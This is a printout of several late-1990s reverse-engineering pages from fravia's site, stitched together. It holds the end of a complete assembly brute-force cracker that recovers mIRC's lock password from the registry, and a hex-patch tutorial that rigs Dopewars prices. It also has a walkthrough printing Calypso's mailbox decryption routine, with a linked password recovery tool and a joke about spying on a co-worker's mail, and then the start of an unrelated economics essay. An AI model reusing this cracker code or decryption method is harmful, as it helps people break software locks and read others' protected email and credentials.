; VARIABLEs USED BY THE BRUTEFORCER AND BY THE CRYPTER


PassTrial db MAX_CHAR+1 dup(0)
CodiceOK dd 0h
Check dd 0h
Ofs_Pass dd 0h
Registro dd 0h

.code

_start:

http://www.instinct.org/fravia/along_01.htm (9 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

call MessageBoxA, NULL, offset Ring0txt, offset Ring0cpt, MB_OK

; THIS PIECE OF CODE READ FROM THE REGISTER THE LOCK KEY

call RegOpenKeyExA, HKEY_CURRENT_USER, offset KeyToOpen, NULL, \


KEY_QUERY_VALUE, offset hRegister
cmp eax, ERROR_SUCCESS
jne Open_Error
; IF THE KEY CANNOT BE OPEN THEN THE PROGRAM JUMPS TO THE ERROR MESSAGE

call RegQueryValueExA, hRegister, offset KeyName, NULL, REG_NONE, \


offset ReadedKey, offset SizeKey
call RegCloseKey, hRegister

; THIS PIECE OF CODE IS USEFUL TO STORE IN EBX THE LENGHT OF THE NUMBER
; BEFORE THE ','

mov edi, offset ReadedKey


xor ebx, ebx

NextChar:

cmp byte ptr [edi+ebx],COMMA


je Substitute
; IF THE ACTUAL CHAR IS ',' THE PROGRAM INSERT A '\0'

cmp byte ptr [edi+ebx], 0


je Invalidkey_Error
; IF THE PROG REACH THE ZERO TERMINATING CHAR THEN THERE IS AN ERROR IN THE
KEY

inc ebx
jmp NextChar
; GO TO THE NEXT CHAR

; THIS PIECE OF CODE SUBSTITUTES THE ',' WITH THE ZERO ASCII CODE

Substitute:

mov byte ptr [edi+ebx],0

; THIS PIECE OF CODE TRANSLATES THE NUMBER IN THE ASCIIZ STRING INTO AN HEX NUMBER IN
EAX

xor ecx,ecx
inc ecx

PrevChar:

dec ebx
xor edx,edx
mov dl, byte ptr [edi+ebx]
sub dl,30h

http://www.instinct.org/fravia/along_01.htm (10 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

mov esi,ecx
imul esi,edx
add eax,esi
imul ecx,0Ah
test ebx,ebx
jne PrevChar
; IF THE PROG HASN'T REACHED THE FIRST FIGURE OF THE NUMBER THE THE
; PROG GO TO THE PREVIOUS CHAR

cmp eax, 0
je Nokey_Error
; IF THE VALUE OF THE READED KEY IS 0 THEN THERE ISN'T A LOCK PASSWORD
; AND THE PROGRAM JUMPS TO THE ERROR MESSAGE

mov Registro, eax

; ____________________________________________ _ _ _
; /
; THIS ROUTINE MAKES A BRUTE FORCE CRACK COMPARING THE GENERATED CODE WITH THE
; VALUE OF "Registro" VARIABLE, READED FROM THE Windows Register

xor esi, esi


mov edi, offset PassTrial
mov byte ptr [edi], FIRSTCHAR

; _______________ _ _ _
; /
; THIS IS THE CORE OF THE CRYPTING ROUTINE

Punkreas:

mov CodiceOK, NULL


mov Check, NULL
mov eax, offset PassTrial
mov Ofs_Pass, eax
jmp Second_Jmp

First_Jmp:

mov edx, CodiceOK


and edx, 0FF000000h
shr edx, 18h
mov Check, edx
and eax, 000000FFh
add CodiceOK, eax
add CodiceOK, edx
shl CodiceOK, 08
inc Ofs_Pass

Second_Jmp:

mov edx, Ofs_Pass


mov al, byte ptr [edx]
test al, al

http://www.instinct.org/fravia/along_01.htm (11 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

jne First_Jmp
mov eax, CodiceOK

; \_______________ _ _ _
; END OF THE CRYPTING ROUTINE. THE RESULT IS IN EAX

cmp eax, Registro


jne Continue
jmp Show_The_Code

Continue:

xor ebx, ebx


inc ebx
xor eax, eax

Pippo:

cmp byte ptr [edi+eax], LASTCHAR


jne PornoRiviste
cmp byte ptr [edi+eax+1], 00h
jne Shandon
inc esi
mov byte ptr [edi+eax+1], FIRSTCHAR
mov byte ptr [edi+eax], FIRSTCHAR
xor ebx, ebx
jmp Pippo

Shandon:

mov byte ptr [edi+eax], FIRSTCHAR


inc eax
jmp Pippo

PornoRiviste:

test bl, bl
je Fine
inc byte ptr [edi+eax]

Fine:

cmp esi, MAX_CHAR


jle Punkreas
jmp Uncracked_Error

; \____________________________________________ _ _ _
; END OF THE BRUTE-FORCING. IF THE PROGRAM HAS NOT FOUND ANY VALID KEY THEN THE
; PROGRAM SHOW AN ERROR MESSAGE

; _______________________ _ _ _
; /
; THIS ROUTINE PLACES AT THE END OF THE "Result" MESSAGE THE CORRECT LOCK
; PASSWORD AND SHOW THE RESULT OF THE CRACK

http://www.instinct.org/fravia/along_01.htm (12 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

Show_The_Code:

xor ebx, ebx


dec ebx
mov eax, offset Result
add eax, LenRes

OtherChars:

inc ebx
mov cl, byte ptr [edi+ebx]
mov byte ptr [eax+ebx], cl
cmp byte ptr [edi+ebx], 0h
jne OtherChars
; IF THE CURRENT CHAR IS != '\0' THEN THERE ARE OTHER CHARS THAT MUST BE
READED

call MessageBoxA, NULL, offset Result, offset DoneCpt, MB_OK


jmp End_App

; \_______________________ _ _ _
; END OF THE ROUTINE SHOWING THE CORRECT UNLOCKING CODE

; ____________ _ _ _
;/
; ERROR MESSAGES

Uncracked_Error:

call MessageBoxA, NULL, offset UnErr, offset FailCpt, MB_OK


jmp End_App

Nokey_Error:

call MessageBoxA, NULL, offset NoErr, offset FailCpt, MB_OK


jmp End_App

Open_Error:

call MessageBoxA, NULL, offset OpErr, offset FailCpt, MB_OK


jmp End_App

Invalidkey_Error:

call MessageBoxA, NULL, offset InErr, offset FailCpt, MB_OK


jmp End_App

;\____________ _ _ _
; END OF ERROR MESSAGES

End_App:

call ExitProcess, NULL

http://www.instinct.org/fravia/along_01.htm (13 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

end _start

_________________________________ _ _ _

Welll DONE !
This is the complete code of this brute-force cracker :)
I cannot explain every step of this code to keep quite small this tutorial,
however if you don't understand it.. mail me.

I've inserted some comments to help the reader. And I think that with a little
knowledge of the assembler this essay can be readed in a easy way.
(the names of the labels are referred to some italian punk groups >:)

I've tested this executable on my Pentium 100 and it needs 43 seconds to crack
the word of 1 2 3 4 and 5 letters.
To do the same thing on the Pentium II 233 of a my friend it needs 9 seconds.

Of course this code can be also optimized.


We can also use this code with every other kind of bruteforce cracker, in fact
we can change only the:

1) Crypting routing.
2) Reading Operations of the masked code.

And.. you must remember that a crypted value can be the result of different
inserted password.

I.E. :
I set the password "fabio"
The bruteforce cracker find the password "nobaa"
In fact these two values inserted in the cripting routine give the same result:
"1657786368"

Moreover you can see that the number after the comma is obtained using the options
of the lock section.
If you set ON only the "Ask on startup" checkbox the number after the comma
is "1". If you set OFF that checkbox, the number after the ',' becomes a "0".
Of course there are also a great number of other combinations.

Ole' :-) I think that now mirc is totally reversed :P

Final Notes
Ok. Now the tutorial is really finished. I hope that someone like it ;) However i think that Information Wants To Be Free. Then
I've decided to give my very little knowledge to everyone that wants learn.

Many thanks to: (extremely detailed and long greetz-list semanthically condensed by fravia+ :-)

+xOANINO; +kill3xx; +Malattia; +Neural_Noise; +GEnius; RingZer0 and everyone that consider me a "friend"
Dear friends.. mail me @ along3x@geocities.com

aLoNg3x ... un tipo perso dietro le nuvole e la poesia ...

http://www.instinct.org/fravia/along_01.htm (14 of 15) [2/7/2001 3:27:37 PM]


along_01.htm: "Bruteforcing" a password protection

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the
allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it
on most Warez sites, complete and already regged, farewell, don't come back.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC how to protect academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

(*): means "Hey Grandma" in finnish.

http://www.instinct.org/fravia/along_01.htm (15 of 15) [2/7/2001 3:27:37 PM]


smegg_01.htm: Dopewars

Reversing an algorithm to ensure


gameing success and fame on the
internet.
Not Assigned
Reversing the Drug pricing algorithm in
Dopewars version 1.2
08 October 1999 by smeggett
slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
A quite interesting 'applied reversing' essay for beginners. In
fra_00xx
fact I believe we should begin a small 'dedicated' section for
981010
online gaming and (eheh :-) for online gambling. I never
smegget
analyzed the various gambling programs (that are
1000
mushrooming all over the net) but I would bet that reversers in
NA
need of money could apply our knowledge with profit at least in
PC
some cases...
There is a crack, a crack in everything That's how the light
gets in
Rating (x)Beginner ( )Intermediate ( )Advanced ( )Expert

"An essay designed for beginners to show how an algorithm can be reversed in order to 'cheat' the game and pwerhaps register
yourself on the worldwide high score list...
Of course you will still need your skill to do this - the reversing only makes the job easier."

Dopewars
Reversing an algorithm to ensure gameing success and fame on the
internet.
Written by smeggett

Introduction
I received my copy of Dopewars via email and was (almost) hooked on it quite quickly, trying to obtain higher and higher
scores. During the course of play I noticed that some drug prices became exceedingly high (or low) on the odd occasion, whilst
the rest of the time they fluctuated only minorly.
It was at this stage that I decided to look further into the game and see if it was possible to manipulate the pricing algorithm so
that the game would throw up the exceedingly high prices every second turn (so you can buy low, sell high of course...)
So look further I did and found that after rewriting some of the code for the routine it was possible to achieve this goal.

Tools required
WDasm 8.9

http://www.instinct.org/fravia/smegg_01.htm (1 of 5) [2/7/2001 3:27:41 PM]


smegg_01.htm: Dopewars

PS Edit (or any other hex editor)


and that'll about do you...

Target's URL/FTP
http://www.beermatsoftware.com/dopewars/download.asp
File: Dopewars.exe
Size: 526,848 bytes

Program History
None really - started as a MSDOS game in 1984 - has had a windows frontend put on.

Essay
The first step in this game is to try and find the algorithm which sets the drug prices, so load the program into WDasm and do a
string search for the text used in the message boxes to notify you of an exorbitantly high price (or low price). Select this and
you will land in the middle of the pricing routine. The routine is fairly long (about three printed pages in all), but also fairly
easy to follow.

The first part of the routine (beginning at 45D120) saves some values and the initializes a few variables. Address 45D13E is
where the fun begins. You will notice the call at 45D142 (CALL 402ACC) is repeated quite a bit throughout this routine - this
is the price generator which is 'seeded' by the values in eax and edx. (esi stores the drug count - there are 13 in all)

45D13E 8B4304 mov eax, dword ptr [ebx+04] ;set seed value
45D141 40 inc eax ;add one
45D142 E88559FAFF call 402ACC ;set price
45D147 0303 add eax, dword ptr [ebx] ;modify price with
fixed value
45D149 894308 mov dword ptr [ebx+08], eax ;store price
45D14C B808000000 mov eax, 00000008 ;seed price generator
45D151 E87659FAFF call 402ACC ;set price
45D156 40 inc eax ;do sod all
45D157 48 dec eax ;perhaps set the Zero
flag
45D158 7506 jne 45D160 ;goto cheap (buy)
drug routine
45D15A C6431600 mov [ebx+16], 00 ;set no cheap (buy)
drugs
45D15E EB04 jmp 45D164 ;goto next
* Jump at Address45D158(C)
45D160 C6431601 mov [ebx+16], 01 ;set cheap drugs
(buy)
* Jump at Address45D15E(U)
45D164 807B1400 cmp byte ptr [ebx+14], 00 ;if 0 then no super
expensive drugs
45D168 0F8488000000 je 45D1F6
45D16E B814000000 mov eax, 00000014 ;seed price gen
45D173 E85459FAFF call 402ACC

http://www.instinct.org/fravia/smegg_01.htm (2 of 5) [2/7/2001 3:27:41 PM]


smegg_01.htm: Dopewars

45D178 40 inc eax ;pehaps set Zero flag


45D179 48 dec eax
45D17A 757A jne 45D1F6 ;goto no super
expensive drugs
45D17C 807B1600 cmp byte ptr [ebx+16], 00 ;see settings above
45D180 7474 je 45D1F6
45D182 B802000000 mov eax, 00000002
45D187 E84059FAFF call 402ACC
45D18C 6685C0 test ax, ax ;and ax,ax (set
message - Cops or Addicts)
45D18F 752F jne 45D1C0 ;jmp to addicts
message
The routine continues on, but this is where the decisions are made and this is predominantly where we will have to rewrite the
code. I first began modifying the jumps at 45D17A and 45D17C (by NOPping them), but this was clumsy and did not force the
pricing every second turn as I wished it to.

So I decided that I would need to set up a variable which would flip-flop every second turn (probably from 0 to 1 to 0, etc)
which i could use to force a low or high price for drugs. Looking at the code it seemed that it would be possible to use a global
variable pointed to by [ebx + offset]. A quick scan of the code reveals that the following variables are used by the program:

[ebx+04] dword
[ebx+08] dword
..
[ebx+14] byte
[ebx+15] byte
[ebx+16] byte
My first hunch was to try something in the middle (ie not reuse and existing variable, so I chose [ebx+0C] as my new variable.
The next step was to decide where to put our new code. The idea was to modify the program by replacing existing code, but
what?

Looking at the code section above I decided that i could replace all the conditional jumps and intervening code. This means the
code from 45D156 to 45D181, which gives us 43 bytes to play with.

So I wrote my routine, and then had to translate it into Opcodes to check the length and make sure that it would fit into the
required space. For those of you that have done your homework and traced this routine through with a debugger (I used
WDasm, 'cos I foolishly installed NT Service Pack 5 which has screwed with my version of SoftIce :( ) you will realise that the
routine loops 13 times - once for each drug on the list, and that the base pointer (ie ebx) is adjsuted at the end of this routine to
point to the price data for the next drug. This is good, since it means that the variable we assign a 0 or 1 to [ebx+0c] will be
preserved for each turn.

My new code looks something like:

45D156 cmp byte ptr [ebx+0C], 00 ;check variable


45D15A je 45D162 ;flip it
45D15C mov [ebx+0C], 00
45D160 jmp 45D166
45D162 mov [ebx+0C], 01
45D166 cmp byte ptr [ebx+0c],00 ;if variable = 0 then no exp drugs
45D16A je 45D1FC
45D170 mov eax, 14 ;seed pricing gen (existing code)
45D175 call 402ACC
45D17A inc eax
45D17B dec eax

http://www.instinct.org/fravia/smegg_01.htm (3 of 5) [2/7/2001 3:27:41 PM]


smegg_01.htm: Dopewars

The code for this looks as follows:

45D156 807B0C00
45D15A 7406
45D15C C6430C00
45D160 EB04
45D162 C6430C01
45D166 807B0C00
45D16A 0F8486000000 ;32 bit jmp
45D170 B814000000
45D175 E85259FAFF
45D17A 40
45D17B 48
So now you can patch the program using PSEdit (or whatever else you fancy) and run it.

You have a problem? So did I! It seems our variable [ebx+0c] is used elsewhere and our use of it causes an overflow and the
program crashes (luckily whoever wrote this code initially put in an error handler routine so we wont cause too much
damage...)

OK, wrong variable - how about we use one of those byte variables already used for our own purposes? I chose [ebx+16] to
accomplish this task - we keep the patch the same, just modify the 0C bytes to 16 in the code above. Patched? Good, now try
this...lots of messages and hugely expensive drug prices - but wait - we go to a new day, and we have no drug prices, no drugs,
nothing!! Odd! Take the train somewhere, new day and horrendously expensive drugs. So half our job is done.

I spent a lot of time tracing through this routine and the program trying to find out why this happened (ie tracking the cause)
but I could not find it (well, I didn't look that hard). Logic suggested that our old [ebx+16] variable must have been causing
this, since this was all that we modifed. I thought about this and decided to change the condition checks from 0 and 1 to 2 and
3. Well, what do you know, it worked!! The game opens with cheap drugs, the next day you have expensive drugs, and the day
after cheap drugs. Whoo-Hoo!!!

Now, before you go and try for those high scores you might like to NOP the jumps at 45D20E and 45D208 and also modify
45D1F6 to read:

45D1F6 807B1602
45F1FA 756B
so that you will be guaranteed cheap cheap drugs on your fisrt turn. Now, go bombard to web site with your high scores (they
have a register there...)

Final Notes
This is my first real attempt at truly reversing software, apart from some lazy
crappy cracks,
and i must say that it has taught me a lot when it comes to understanding the
function of various
items of code. It is a truly great feeling when it suddenly dawns on you how and why
everything is
happening. There is always method in the madness....
smeggett

http://www.instinct.org/fravia/smegg_01.htm (4 of 5) [2/7/2001 3:27:41 PM]


smegg_01.htm: Dopewars

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the
allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it
on most Warez sites, complete and already regged, farewell, don't come back.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC how to protect academy database


reality cracking how to search java-script wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/smegg_01.htm (5 of 5) [2/7/2001 3:27:41 PM]


lati_005.htm: Calypso: Reversing a program's Security

Reversing a program's Security


How they protect YOUR data
10 October 1999 by Latigo
slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
"See how programmers care when it is about user's own data
security" says Latigo, and he has good reasons to point this out...
This is an essay for beginners, but it should prove of interest for
anyone: how many of the "normal" joes out there, happily using
Calypso (or whatever) for life & work will ever know about the
following? Come to think of it, how many among the well-paid (and
well-fed) CEOs, bonzoburocrats and 'fat-cat decision makers', those
ever-smiling slicky-slimy types, so able in "selling themselves" (or
selling others) to gain career positions will ever have a clue about
what's going on inside the software that they daily use and/or
monthly (and big-mouthly) recommend?
It is a damn good feeling, I tell ya, to know that there are reversers
like Latigo around: a nightmare for all lazy and incompetent
programmers... eheh
"I started trying to reverse other proggie's security... maybe future
essays?" Yes Latigo! Go ahead!
There is a crack, a crack in everything That's how the light gets
in
Rating (x)Beginner ()Intermediate ( )Advanced ( )Expert

See how programmers care when it is about user's own data security .

Reversing a program's Security


How they protect YOUR data
Written by Latigo

Introduction
This is not a tutorial on how to patch,crack,serial fish or keygen a
program. This essay is about Calypso's (email client) security.
Whenever you try open your password protected .box mail file a dialog
box will pop up asking for a user and pass.I tested it security and

http://www.instinct.org/fravia/lati_005.htm (1 of 7) [2/7/2001 3:27:45 PM]


lati_005.htm: Calypso: Reversing a program's Security

ended up making a 'Calypso 3.00 password recovery tool' :). (Click


here to get it asm source included)

Tools required
Wdasm
hiew
SoftIce
Masm,Resource Editor (For password recovery tool creation)

Target's URL/FTP
Calypso 3.00 can be found here.

Program History
Not relevant

Essay
Calypso is a nice email program.Everything from accounts
passwords,program settings and even emails are kept in ONE file;that
makes it very easy when you are moving from one pc to another one or
when you want to backup your mail.Of course, this presents some major
risk as you might have already wondered.
This file (which has a .box extension) is,in some way,'crypted' for
obvious reasons.So i wanted to give it a try...i wanted to see how
good this 'encryption' was, and thats how i started the password
protection reverse engineering.
When you double click on a .box file, you will get the typical
dialogbox waiting for a password. At this point, the 'encrypted'
password (which is stored in the .box file as you remember :D ) is
decrypted in memory and it is compared to what we input once we click
on the 'ok' button. But since we dont want to make a patch or to fish
for the right pass, we should tackle the program BEFORE the dialogbox
pops up (that is, before the password is decrypted). So lets bpx on
CreateFileA, to intercept calypso when trying to open the .box file.
Of course, we will break on other calls to CreateFile before the one
we want to. (at least once, since we double click on the file thus
generating a call to CreateFile). Argh!! whats this? we break on
shell32.dll so i do a F12 (p ret) to return from that call to
CreateFile,and then i press F5 to exit from SoftIce and to break on

http://www.instinct.org/fravia/lati_005.htm (2 of 7) [2/7/2001 3:27:45 PM]


lati_005.htm: Calypso: Reversing a program's Security

another call...BOOM back in softice (hi Zito :D)..again shell32.dll so


another F12 and another F5 and again and again till we end in
calypso's code.
(IMPORTANT:Please, this is a tutorial for newbies, but that doesnt
mean that i'll tell you EXACTLY how many F12's or F5's you must
press.. -some- knowleadge is assumed ;)
Ok so finally we end up in calypso's code at 1000B886 in the MAILDB32
module..but whats this module? lets see ..i throw a MOD MAILDB32 and
softice tells me that this is the maildb32.dll and which is in the
same folder as calypso.exe..thus, we are in the right path.
Well, we have a CreateFile but we dont know which file this dll is
trying to open...

HANDLE CreateFile(
LPCTSTR lpFileName, // pointer to name of the file
DWORD dwDesiredAccess, // access (read-write) mode
DWORD dwShareMode, // share mode
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to security
attributes
DWORD dwCreationDistribution, // how to create
DWORD dwFlagsAndAttributes, // file attributes
HANDLE hTemplateFile // handle to file with attributes to copy
);

As you can see, the first argument to this api is the name of the
file, that means, that in softice we have to look for the LAST
argument pushed to the stack before the CreateFile api is called.

:1000B85E 6880000010 push 10000080 // handle to file with attributes


to copy
:1000B863 8BC8 mov ecx, eax
:1000B865 6A03 push 00000003 // file attributes
:1000B867 6A00 push 00000000 // how to create
:1000B869 83E103 and ecx, 00000003
:1000B86C 6A00 push 00000000 // pointer to security attributes
:1000B86E 68000000C0 push C0000000 // share mode
:1000B873 52 push edx // pointer to name of the file <-----this one!
:1000B874 F3 repz
:1000B875 A4 movsb
:1000B876 896D10 mov dword ptr [ebp+10], ebp
:1000B879 C7451801000000 mov [ebp+18], 00000001

* Reference To: KERNEL32.CreateFileA, Ord:0031h


|
:1000B880 FF1524700110 Call dword ptr [10017024]

http://www.instinct.org/fravia/lati_005.htm (3 of 7) [2/7/2001 3:27:45 PM]


lati_005.htm: Calypso: Reversing a program's Security

Now we know that we need to dump the EDX register to know which file
this program is trying to open..but since the EDX register was
modified when the CreateFileA api was called, we need to break BEFORE
1000B880 and then yes, dump EDX.
So i clear my breakpoints (bc *) and put a breakpoint on
1000B873.Double click again on the .box file and BOOOOOOOOOOOm back in
Sice :). But this time ill do a 'D EDX' and guess what i got? yeah!
the path to my latigo.box :) we are on the right path d00d3 :D.
Now we know that the file is opened,and the bitch must about to read
it , so lets be ready for a ReadFile api! Keep on tracing till we find
something interesting:

* Reference To: KERNEL32.ReadFile, Ord:01D6h


|
:1000B8F8 8B3D1C700110 mov edi, dword ptr [1001701C]

mmmmm the bitch is getting prepared....more tracing...ah! again:

* Reference To: KERNEL32.SetFilePointer, Ord:0219h


|
:1000B908 FF1518700110 Call dword ptr [10017018]

Calypso is going to read our beloved .box file anytime...and finally:

1000B959 FFD7 call edi

Remember that some time ago, calypso MOVed ReadFile into EDI? well,
now its calling EDI, and that means that is calling ReadFile :).

BOOL ReadFile(

HANDLE hFile, // handle of file to read


LPVOID lpBuffer, // address of buffer that receives data
DWORD nNumberOfBytesToRead, // number of bytes to read
LPDWORD lpNumberOfBytesRead,// address of number of bytes read
LPOVERLAPPED lpOverlapped // address of structure for data
);

1000B945 8D542410 lea edx, dword ptr [esp+10]


1000B949 6A00 push 00000000 // address of structure for data
1000B94B 52 push edx // address of number of bytes read
1000B94C 8D8520010000 lea eax, dword ptr [ebp+00000120]
1000B952 6824020000 push 00000224 // number of bytes to read
1000B957 50 push eax // address of buffer that receives data
1000B958 56 push esi // handle of file to read
1000B959 FFD7 call edi

http://www.instinct.org/fravia/lati_005.htm (4 of 7) [2/7/2001 3:27:45 PM]


lati_005.htm: Calypso: Reversing a program's Security

Lets see..this maildb32.dll is about to read 0x224 bytes from


latigo.box and is going to store that in the address pointed by EAX.
Let the .dll read all the bytes it wants to and lets keep on
tracing..hehe check this out:

1000B9A7 8D9D20010000 lea ebx, dword ptr [ebp+00000120]


1000B9AD 6824020000 push 00000224
1000B9B2 53 push ebx
Reference To: MAILDB32.mdbDecrypt
|
1000B9B3 E8C8460000 call 10010080

Decrypt?????? wtf! :D we are getting to the end!! i do a 'd ebx' and


see the same thing that i'd see if i viewed the latigo.box file with a
hex editor...that means that what has been read at 1000b959 , is being
passed as a parameter to the mdbDecrypt function. Foolproof :D.
Fasten your seatbelts! here we come!
I step into the mdbDecrypt call (F8) and start tracing the code inside
this badly named method:

Exported fn(): mdbEncrypt - Ord:0031h


10010040 55 push ebp
10010041 8BEC mov ebp, esp
10010043 F60518A0011004 test byte ptr [1001A018], 04
1001004A 7530 jne 1001007C
1001004C 57 push edi
1001004D 56 push esi
1001004E 50 push eax
1001004F 51 push ecx
10010050 56 push esi
10010051 57 push edi
10010052 8B4D0C mov ecx, dword ptr [ebp+0C]
10010055 C1E902 shr ecx, 02
10010058 8B7508 mov esi, dword ptr [ebp+08]
1001005B 8BFE mov edi, esi
1001005D FC cld
1001005E E316 jcxz 10010076
10010060 AD lodsd
10010061 F7D0 not eax
10010063 2C43 sub al, 43
10010065 80EC43 sub ah, 43
10010068 C1C010 rol eax, 10
1001006B 2C43 sub al, 43
1001006D 80EC43 sub ah, 43
10010070 C1C010 rol eax, 10

http://www.instinct.org/fravia/lati_005.htm (5 of 7) [2/7/2001 3:27:45 PM]


lati_005.htm: Calypso: Reversing a program's Security

10010073 AB stosd
10010074 E2EA loop 10010060
10010076 5F pop edi
10010077 5E pop esi
10010078 59 pop ecx
10010079 58 pop eax
1001007A 5E pop esi
1001007B 5F pop edi

Referenced by a (U)nconditional or (C)onditional Jump at Address:


:1001004A(C)

1001007C 5D pop ebp


1001007D C20800 ret 0008

Thats all the mdbDecrypt method...whatever it is, it cannot be too


complicated :D.
Lets analyze it:
In 10010058 the program puts in ESI ,the same thing that can be found
in EBX..that is, what has been read from the latigo.box file..and then
it copies the contents of ESI to EDI..

At 10010060 is where fun starts:

10010060 LODSD <- This instruction 'Loads' 4 bytes from the ESI
register into the EAX register.
10010061 not eax <- Inverts the bits of EAX forming the 1st
complement.
10010063 sub al, 43 <- substracts 43h from AL
10010065 sub ah, 43 <- substracts 43h from AH
10010068 rol eax, 10 <- Rotate left the EAX register 10 times
1001006B sub al, 43 <- substracts 43h from AL
1001006D sub ah, 43 <- substracts 43h from AH
10010070 rol eax, 10 <- Rotate left the EAX register 10 times
10010073 stosd <- store in EDI the 4 bytes contained in EAX
10010074 loop 10010060 <--repeat whole process as many times as ECX
indicates.

So basicaly what this does is take 4 bytes in EAX from ESI, do


something to them and store them in EDI :D pretty simple.
This is more than enough to make a tool which decrypts the file, read
the password and display it.Just copy and paste code! :D.
Later on , i discovered the position in the .box file where the
password is kept and some other thingies, but i dont want to bother
you.

http://www.instinct.org/fravia/lati_005.htm (6 of 7) [2/7/2001 3:27:45 PM]


lati_005.htm: Calypso: Reversing a program's Security

You can find the program i made here, source included.

I hope you liked this tut and i also hope that it was not too long or
boring :).
Greetings to all the nice people @ #cracking4newbies ,to Fravia+
(thanks) and special greetings to MAC and Zito of course :).

Final Notes
So this is the end! As you can see, it was pretty stupid.And with
little effort i could make a tool to spy on my co-worker's
mail..hehe..just kidding :D.
So you see, 90% of the programs out there have little security. Why?
simple,their makers are lazy and its not their information they are
protecting,but yours :).
Oh btw,after the Calypso experience, i started trying to reverse other
proggie's security and guess what i found? they were all very easy
:)..maybe future essays?
Farewell!Adios!

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a
longer period than the allowed one. Should you want to STEAL this software instead, you don't need to
crack its protection scheme at all: you'll find it on most Warez sites, complete and already regged,
farewell, don't come back.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC how to protect academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/lati_005.htm (7 of 7) [2/7/2001 3:27:45 PM]


creditca.htm Economic Wargames and credit card stupidity

Economic Wargames
and
credit card stupidity
by Dal Timgar

Reality cracking

courtesy of fravia's pages of reverse engineering


(published at fravia's in September 1999)
...There is no limit to how dumb consumers are expected to be, some company named Providian keeps
sending me an application for a Visa "Classic"...

Economic Wargames, by Dal Timgar

The following essay is about the economic system of the world today. One of my readers who approves
of the contents refers to "economic wargame" as a metaphor. Much as I appreciate his approval, I
disagree that it is a metaphor. This is the real deal. Let me give you a metaphorical overview of my
presentation.

The global economy is a giant multilevel, multiplayer chess game. It is however, being played in the
dark. The powers that be, have the overhead lights switched off. To have any chance you need a
flashlight, and that would still leave the problems of learning the rules and developing your skills. It
seems most people only have a vague idea that some game is going on. I hope this essay can be a candle,
for ye who curse the darkness.

NNP = GNP - Dcap

This equation defines the Net National Product (NNP).


It is equated to Gross National Product (GNP) minus Depreciation of CAPital goods (Dcap). The trouble
with this equation is that depreciation of durable consumer goods is missing. Random House defines
depreciation thusly:

1. a decrease in value due to wear and tear, decay, decline in price, etc.

http://www.instinct.org/fravia/creditca.htm (1 of 6) [2/7/2001 3:27:59 PM]


creditca.htm Economic Wargames and credit card stupidity

2. U.S. such a decrease as allowed in computing the value of property for tax purposes.

The fourth edition of Macroeconomics by Robert J. Barro of Harvard University defines depreciation as:

The wearing out of CAPITAL goods over time, often expressed as a fraction of the stock of capital.

When a car rental company buys automobiles, it contributes to the GNP and therefore NNP. The same
applies to cars purchased by consumers. However, as consumer autos deteriorate over the years the
depreciation is ignored, while that of capital goods is registered on the income tax forms of businesses.
Although economists have no direct method of obtaining Depreciation of Consumer goods (Dcon), to
pretend it doesn't exist when it must be a rather large amount is absurd. How many billions of dollars
worth of cars, refrigerators, stoves, air-conditioners, etc., etc. have American consumers trashed since the
end of World War II? So the equation should be:

NNP = GNP - (Dcap + Dcon)

Our economists are pulling a "Bill Clinton" on us. Limiting the definition of depreciation in a way that
makes economic losses to the average man disappear into space.

We live in a culture that has used complex machines for 300 years. The first patent on a steam machine,
number 356, was issued in 1698. Engineers can test, measure and specify the failure rate of mechanical
and electronic devices. A graph of the failure rate over time of a machine follows a pattern known as a
bathtub curve.

\ Infant Mortality _-~


\ _-~
\ Useful Life _____-~
\__----------------~~~~~~~~~~~~~~
MTBF wear out
time -------> peroid

The curve gets its name from the obvious similarity to the cross-section of a bathtub cut lengthwise up
the middle. It starts with a high failure rate dropping rapidly to a minimum. This is when the machine is
new and has a high probability of manufacturing defects. The failures during this time are similar to birth
defects and are also known as infant mortality. The low point on the curve is where the device is least
unreliable and the Mean Time Between Failure (MTBF) is computed. The failure rate remains low for an
extended period then rises quickly when the device begins to wear out.

So what does the failure rate of machines have to do with depreciation of durable consumer goods? In
classical economics it is common to assume that consumers are rational, possibly for simplicity's sake.
But how can rational decisions be made with incomplete information? The only consumer products for
which I have ever seen MTBF data are disk drives for computers. Since computers have been primarily
used in businesses and losing data from hard disks causes serious problems, supplying reliability data on
hard drives is traditional. Where is the reliability data on other consumer products? What about cars,
televisions, VCR's? How are we supposed to make these rational decisions? The best information I've
seen is in Consumer Reports. They show graphs of failure rates by brand name based on surveys of

http://www.instinct.org/fravia/creditca.htm (2 of 6) [2/7/2001 3:27:59 PM]


creditca.htm Economic Wargames and credit card stupidity

subscribers. They do not give break-downs by model within brand and usually only cover about eight
brands of a product type. Are manufacturers trying to maximize the useful life of their products? If not,
are they engaged in planned depreciation, usually called planned obsolesence?

In 1937 engineers at Lockheed began designing a new fighter plane. In January 1939 the first P-38 took
to the air for testing to begin eliminating design flaws. The P-38 Lightning began service in WWII in
April '42, it had two supercharged 1400 horsepower, counter rotating engines, a cruising speed of 350
mph, a maximum of 414 mph and a ceiling of 44,000 feet. The German's nicknamed it "The Fork-tailed
